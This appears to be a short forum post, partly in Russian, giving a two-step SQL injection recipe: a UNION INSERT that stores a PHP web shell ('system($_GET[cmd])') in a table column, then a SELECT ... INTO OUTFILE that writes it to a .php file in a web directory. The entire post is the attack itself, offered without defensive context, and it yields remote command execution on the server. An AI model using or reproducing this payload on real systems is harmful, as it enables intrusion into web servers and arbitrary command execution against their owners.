union insert into blablabla(last_title) values('<?php system($_GET[cmd]);?>')
а далее
select last_title FROM blablabla into outfile /путь в директории/1.php

__________________